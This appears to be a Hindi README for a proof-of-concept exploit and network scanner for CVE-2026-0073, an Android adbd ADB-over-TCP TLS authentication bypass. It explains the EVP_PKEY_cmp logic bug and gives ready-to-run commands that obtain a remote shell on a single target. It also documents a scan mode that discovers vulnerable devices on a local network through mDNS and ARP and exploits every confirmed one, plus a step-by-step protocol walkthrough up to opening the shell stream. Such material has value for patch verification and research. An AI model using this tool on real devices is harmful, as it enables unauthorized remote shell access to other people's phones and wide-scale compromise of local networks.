
एंड्रॉइड 11+ डिवाइसों पर CVE-2026-0073 के लिए एक PoC टूल, जो adb over tcp सक्षम वाले किसी भी अनपैच्ड डिवाइस पर तुरंत ज़ीरो-क्लिक RCE की अनुमति देता है।
CVE-2026-0073 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और नेटवर्क स्कैनर, जो Android adbd के ADB-ओवर-TCP प्रमाणीकरण पथ में एक गंभीर
ज़ीरो-क्लिक, बिना-इंटरैक्शन रिमोट कोड निष्पादन भेद्यता है।
यह भेद्यता adbd_tls_verify_cert() (daemon/auth.cpp) में एक लॉजिक बग है, जहाँ EVP_PKEY_cmp() को एक बूलियन प्रेडिकेट के रूप में माना जाता है। जब एक संग्रहीत RSA कुंजी की तुलना एक गैर-RSA TLS क्लाइंट प्रमाणपत्र (EC P-256 या Ed25519) से की जाती है, तो API -1 (प्रकार बेमेल) लौटाता है, जो C/C++ में सत्य है। यह एक क्रॉस-एल्गोरिदम बेमेल को सफल होस्ट-कुंजी मिलान में बदल देता है — प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।
तकनीकी विवरण BARGHEST से प्राप्त।
आधार PoC कोड SecTestAnnaQuinn से स्रोत।
Android सुरक्षा बुलेटिन — मई 2026 में पैच किया गया।
| विशेषता | विवरण |
|---|---|
| हमला वेक्टर | नेटवर्क (आसन्न / निकटवर्ती) |
| इंटरैक्शन | कोई नहीं (ज़ीरो-क्लिक) |
| प्राप्त विशेषाधिकार | shell उपयोगकर्ता (uid=2000), SELinux u:r:shell:s0 |
| एक्सप्लॉइट प्रिमिटिव | ADB के माध्यम से रिमोट शेल एक्सेस |
| CVSS | गंभीर (9.8) |
shell संदर्भ से एक हमलावर सिस्टम प्रॉपर्टीज़, प्रोसेस स्थिति, लॉग, सूचनाएँ देख सकता है; पैकेज इंस्टॉल और हटा सकता है; डीबग करने योग्य एप्लिकेशन के विरुद्ध run-as का उपयोग कर सकता है; और आगे के शोषण को तैयार कर सकता है।
| फ़ाइल | उद्देश्य |
|---|---|
adb_tls_auth_bypass.py | एकल-लक्ष्य एक्सप्लॉइट PoC (मूल SecTestAnnaQuinn द्वारा, चेकसम-पैच किया गया) |
adbt_scanner.py | नेटवर्क स्कैनर — कमजोर डिवाइस खोजें + उनका शोषण करें |
requirements.txt | Python निर्भरताएँ |
एक्सप्लॉइट के सफल होने के लिए, लक्ष्य Android डिवाइस में निम्न होना चाहिए:
adbd TCP सेवा)/data/misc/adb/adb_keys में कम से कम एक पहले से पेयर की गई RSA होस्ट कुंजी# वर्चुअल वातावरण बनाएं
uv venv
# इसे सक्रिय करें
source .venv/bin/activate
# निर्भरताएँ इंस्टॉल करें
uv pip install -r requirements.txt
निर्भरताएँ:
| पैकेज | किसके द्वारा उपयोग | आवश्यक? |
|---|---|---|
cryptography | दोनों स्क्रिप्ट (EC प्रमाणपत्र निर्माण, TLS) | हाँ |
netifaces | स्कैनर (सबनेट पहचान) | पसंदीदा |
zeroconf | स्कैनर (mDNS खोज) | पसंदीदा |
scapy | स्कैनर (ARP स्वीप) | पसंदीदा |
वैकल्पिक पैकेज अनुपलब्ध होने पर स्कैनर सुचारू रूप से काम करता है — यह चेतावनी देगा और वैकल्पिक तरीकों (सिस्टम ip कमांड, nmap, TCP कनेक्ट स्कैन) पर वापस आ जाएगा।
ज्ञात कमजोर डिवाइस पर सीधे हमला करें।
python3 adb_tls_auth_bypass.py 192.168.1.42 # इंटरैक्टिव शेल
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
या स्कैनर के माध्यम से:
python3 adbt_scanner.py --host 192.168.1.42 # इंटरैक्टिव शेल
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
कमजोर डिवाइसों के लिए स्थानीय नेटवर्क स्कैन करें और सभी पुष्टि किए गए लक्ष्यों का शोषण करें।
# पूर्ण स्कैन: mDNS → ARP → पोर्ट स्कैन → ADB प्रोब → एक्सप्लॉइट
python3 adbt_scanner.py --scan
# सभी कमजोर डिवाइसों पर एक विशिष्ट कमांड चलाएं
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# केवल रिकॉन — खोजें लेकिन शोषण न करें
python3 adbt_scanner.py --scan --no-exploit
# कई पोर्ट स्कैन करें
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# पहचाने गए सबनेट को ओवरराइड करें (मल्टी-होमेड होस्ट, विशिष्ट रेंज)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# धीमे नेटवर्क के लिए टाइमआउट समायोजित करें
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS सुनने की विंडो बढ़ाएं
python3 adbt_scanner.py --scan --mdns-timeout 60
# विशिष्ट खोज चरणों को छोड़ें
python3 adbt_scanner.py --scan --no-mdns # mDNS छोड़ें, केवल ARP
python3 adbt_scanner.py --scan --no-arp # ARP छोड़ें, केवल mDNS
--scan कमजोर डिवाइसों के लिए नेटवर्क स्कैन करें + शोषण करें
--host HOST प्रत्यक्ष एकल-लक्ष्य एक्सप्लॉइट
--port PORT --host मोड के लिए ADB पोर्ट (डिफ़ॉल्ट: 5555)
--cmd COMMAND चलाने के लिए शेल कमांड
-v, --verbose विस्तृत लॉगिंग
--mdns-timeout SECONDS mDNS सुनने की अवधि (डिफ़ॉल्ट: 30)
--ports PORTS --scan मोड में कॉमा-सेपरेटेड पोर्ट (डिफ़ॉल्ट: 5555)
--subnet CIDR पहचाने गए सबनेट को ओवरराइड करें (जैसे 192.168.2.0/24)
--connect-timeout SECONDS TCP कनेक्ट टाइमआउट (डिफ़ॉल्ट: 2.0)
--probe-timeout SECONDS ADB प्रोब टाइमआउट (डिफ़ॉल्ट: 3.0)
--arp-timeout SECONDS ARP स्वीप टाइमआउट (डिफ़ॉल्ट: 3)
--no-mdns mDNS खोज छोड़ें
--no-arp ARP स्वीप + पोर्ट स्कैन छोड़ें
--no-exploit ADB प्रोटोकॉल प्रोब चरण के बाद रुकें
┌─────────────────────────────────────────────────────────────┐
│ 1. सबनेट पहचान — netifaces → ip route → socket ट्रिक │
│ 2. mDNS लिसनर — _adb-tls-connect._tcp (डिफ़ॉल्ट 30s) │
│ 3. ARP स्वीप — scapy.arping → nmap -sn │
│ 4. पोर्ट स्कैन — प्रत्येक होस्ट:पोर्ट पर TCP कनेक्ट │
│ 5. ADB प्रोटोकॉल प्रोब — CNXN भेजें, प्रतिक्रिया वर्गीकृत करें│
│ │
│ STLS → कमजोर (एक्सप्लॉइट के लिए आगे बढ़ें) │
│ AUTH → लीगेसी ADB प्रमाणीकरण (यह CVE नहीं) │
│ CNXN → खुला, कोई प्रमाणीकरण नहीं (पहले से सुलभ) │
│ NO_ADB → ADB सेवा नहीं │
│ │
│ 6. शोषण — TLS अपग्रेड → प्रमाणीकरण बाईपास → शेल │
└─────────────────────────────────────────────────────────────┘
mDNS सबसे सटीक पहचान विधि है: जब वायरलेस डिबगिंग पेयर की जाती है, तो Android स्पष्ट रूप से _adb-tls-connect._tcp प्रसारित करता है। ARP स्वीप + पोर्ट स्कैन एक कैच-ऑल फ़ॉलबैक के रूप में कार्य करता है।
चरण 1 — क्लियरटेक्स्ट ADB
क्लाइंट → CNXN(payload="host::features=...")
डिवाइस → STLS (TLS में अपग्रेड आवश्यक)
चरण 2 — क्रॉस-एल्गोरिदम क्लाइंट प्रमाणपत्र के साथ TLS 1.3
क्लाइंट → STLS उत्तर
क्लाइंट → TLS 1.3 हैंडशेक + EC P-256 क्लाइंट प्रमाणपत्र
डिवाइस adbd_tls_verify_cert() कॉल करता है:
known_evp = /data/misc/adb/adb_keys से RSA कुंजी
evp_pkey = क्लाइंट प्रमाणपत्र से EC P-256 कुंजी
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (प्रकार बेमेल)
if (-1) → verified = true ← बग: -1 सत्य है
चरण 3 — पोस्ट-TLS ADB सेवा परत
क्लाइंट डिवाइस CNXN ड्रेन करता है (ट्रांसपोर्ट पहले से ऑनलाइन)
कोई होस्ट CNXN नहीं भेजा जाता (handle_new_connection किक ट्रिगर होगा)
क्लाइंट → OPEN(local_id, window=32MB, payload="shell:\x00")
डिवाइस → OKAY → शेल स्ट्रीम स्थापित